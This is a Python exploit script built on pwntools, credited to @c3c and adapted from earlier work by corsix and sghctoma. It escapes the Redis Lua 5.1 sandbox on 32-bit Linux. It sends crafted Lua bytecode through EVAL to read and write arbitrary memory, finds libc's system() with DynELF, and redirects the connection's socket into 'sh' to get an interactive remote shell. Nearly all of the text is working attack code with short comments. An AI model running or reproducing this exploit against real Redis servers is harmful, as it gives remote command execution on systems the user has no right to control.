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Redis Lua 5.1 sandbox escape 32-bit Linux exploit
## Redis Lua 5.1 sandbox escape 32-bit Linux exploit
## Original exploit by corsix and sghctoma
## Author: @c3c
## It's possible to abuse the Lua 5.1 sandbox to obtain RCE by loading modified bytecode
## This concept is fully explained on corsix' gist at https://gist.github.com/corsix/6575486
## This version uses pieces of the 32-bit Windows exploit made by corsix and the 64-bit Linux exploit made by sghctoma; as expected, a few offsets were different
## sghctoma's exploit uses the arbitrary memory read to leak pointers to libc and find the address of "system" http://paper.seebug.org/papers/Security%20Conf/Defcon/2015/DEFCON-23-Tamas-Szakaly-Shall-We-Play-A-Game.pdf
## This code is much the same, except the process is done using pwntools' DynELF
## Furthermore, attempting to leak addresses in libc appears to cause segfaults on my 32-bit Linux, in which case, you will need to obtain the remote libc version
## Lastly, only 8 bytes are available to send a shell command to the server.
## Due to the size restrictions, we hijack the filedescriptor of the current socket and effectively execute "sh <&5 >&5" (or another FD) in two steps
from pwn import *
FD = 6 # filedescriptor to use - will probably be different for your target
r = remote("127.1", 6379)
libc = ELF("libc-2.3.4.so") # currently we need to have a local copy of libc as leaking the BuildID will cause a segfault
#context.log_level = 'debug'
LUA_FUNCTIONS = r"""
local asnum = loadstring((string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128")))
local function double_to_dwords(x)
if x == 0 then return 0, 0 end
if x < 0 then x = -x end
local m, e = math.frexp(x)
if e + 1023 <= 1 then
m = m * 2^(e + 1074)
e = 0
else
m = (m - 0.5) * 2^53
e = e + 1022
end
local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
end
local function dwords_to_double(lo, hi)
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo
if e ~= 0 then
m = m + 2^52
else
e = 1
end
return m * 2^(e-1075)
end
local function add_dword_to_double(x, n)
local lo, hi = double_to_dwords(x)
return dwords_to_double(lo + n, hi)
end
local function dword_to_string(x)
local b0 = x % 256; x = (x - b0) / 256
local b1 = x % 256; x = (x - b1) / 256
local b2 = x % 256; x = (x - b2) / 256
local b3 = x % 256
return string.char(b0, b1, b2, b3)
end
local logval = {}
local function logit(msg)
logval[0] = msg
end
rawset(_G, "logval", logval)
rawset(_G, "logit", logit)
rawset(_G, "add_dword_to_double", add_dword_to_double)
rawset(_G, "asnum", asnum)
rawset(_G, "double_to_dwords", double_to_dwords)
rawset(_G, "dwords_to_double", dwords_to_double)
rawset(_G, "dword_to_string", dword_to_string)
-- stop garbage collecting
collectgarbage "stop"
-- unhook any installed debug hook
debug.sethook()
"""
LUA_TEMPLATE = r"""
local f = loadstring(string.dump(function()
local magic = nil
local function middle()
local print = print
local asnum = asnum
local double_to_dwords = double_to_dwords
local add_dword_to_double = add_dword_to_double
local dwords_to_double = dwords_to_double
local upval
local logit = logit
local lo, hi
local function put_into_magic(n)
upval = 2^52 .. "p" .. "CE3CCE3C" .. dword_to_string(n)
local upval_ptr = dword_to_string(asnum(upval) - 2^52 + 16 + 20)
magic = upval_ptr .. upval_ptr
end
{payload}
end
middle()
end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1))
coroutine.wrap(f)()
-- we're using a global logger that uses a dictionary - otherwise we'd get a segfault
-- this is used to return the leaked pointer back to the current redis connection
return logval[0]
"""
LUA_LEAKER = LUA_TEMPLATE.format(payload=r"""
local address = {address}
put_into_magic(asnum(address))
lo, hi = double_to_dwords(asnum(magic))
logit(lo)
""")
LUA_COWRITE = LUA_TEMPLATE.format(payload=r"""
local address = {address}
local command = dwords_to_double({command[0]}, {command[1]}) -- e.g. sh <&5
local luastate_bkp
-- we have to define numbers as local variables as further on, we'll corrupt the call frame
local n0 = 0
local n16 = 16
-- type confusion trick as explained by corsix
do local l0 = 2^52 local l1, l2, l3, l4, l5, l6, l7 = l0, l0, l0, l0, l0, l0, l0 end
local co = coroutine.wrap(function() end) -- coroutine.wrap creates a CClosure whose function pointer is set to luaB_auxwrap
local luastate = asnum(coroutine.running()) -- get the address of current "lua_State"
-- put luaB_auxwrap's address into "magic" and make it so CClosure::f points to system()
-- note: n12 points to CClosure::env, we're immediately skipping to ::f here,
-- also because if we don't, we don't seem to be able to set values higher than 0x7ff00000 in the higher bits (something to do with dwords to float conversion?)
put_into_magic(add_dword_to_double(asnum(co), n16))
local auxwrap, hi = double_to_dwords(asnum(magic))
magic = dwords_to_double(address, n0) -- sets co's CClosure::f to the defined address ('system')
-- save the current lua_State
put_into_magic(luastate)
luastate_bkp = asnum(magic)
-- put luastate into magic - we're using this buffer for our shell arguments
-- we can only execute commands in 8 byte chunks so we need to be smart about it =)
put_into_magic(luastate)
magic = command
co() -- trigger the coroutine, effectively calling our address
-- restore the original lua_State
put_into_magic(luastate)
magic = luastate_bkp
""")
log.debug("\n==== Generated leaker function ====\n" + LUA_LEAKER + "\n========")
log.debug("\n==== Generated coroutined overwrite function ====\n" + LUA_COWRITE + "\n========")
# redis has its own binary protocol which we're emulating here
def gen_redis_proto(*args):
proto = ''
proto += '*' + str(len(args)) + '\r\n'
for arg in args:
proto += '$' + str(len(arg)) + '\r\n'
proto += str(arg) + '\r\n'
return proto
## STEP 1: define helper functions
# first we define a number of helper functions on the redis server
# this uses the "rawset" trick to make them persist in the global scope
log.info("Installing helper functions on the server")
r.send(gen_redis_proto("eval", LUA_FUNCTIONS, '0'))
r.recvline()
## STEP 2: leak the necessary addresses
# leaker function for pwntools' DynELF class
# the leak function will send crafted EVAL statements to the server which will leak 4 bytes of memory at the supplied address
def leak(address):
r.send(gen_redis_proto("eval", LUA_LEAKER.format(address=str(address)), '0'))
data = r.recvline()
if not data.startswith(":"): # ints returned by the server will start with a colon in redis' binary protocol
log.error("Invalid response from redis server")
data = p32(int(data.split(":")[1]))
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
# start leaking and get the library base addresses from the link_map
# pwntools will do this transparently as follows:
# - from the program base address, locate the program header table (PHT)
# - in the PHT, find the offset to the DT_DEBUG table
# - in the DT_DEBUG table we find the pointer to the link_map
# - the link_map contains the addresses for all the loaded libraries
d = DynELF(leak, 0x8048000)
libbases = d.bases()
libc_base = None
for key,val in libbases.iteritems():
if "libc" in key:
libc_base = val
break
assert libc_base is not None
log.success("Found libc (%s) mapped at: 0x%08x" % (key, val))
libc.address = libc_base
libc_system = libc.symbols["system"]
log.success("Remote libc 'system' address: 0x%08x" % libc_system)
## STEP 3: overwrite the CClosure::f pointer to libc_system
command = "sh <&%d" % FD # this step allows us to execute commands by redirecting the socket to stdin of the shell
command = struct.unpack("<LL", command.ljust(8,'\x00'))
r.send(gen_redis_proto("eval", LUA_COWRITE.format(address=str(libc_system), command=map(str,command)), '0'))
log.info("Sent our payload. Dup'ing file descriptor now to get output")
r.sendline("sh >&%d 2>&%d" % (FD,FD)) # this step allows us to execute commands by redirecting the shell output to the socket
log.info("If there's no shell you may need a different file descriptor. If the server crashed, your libc version is probably wrong.")
r.clean()
r.interactive()
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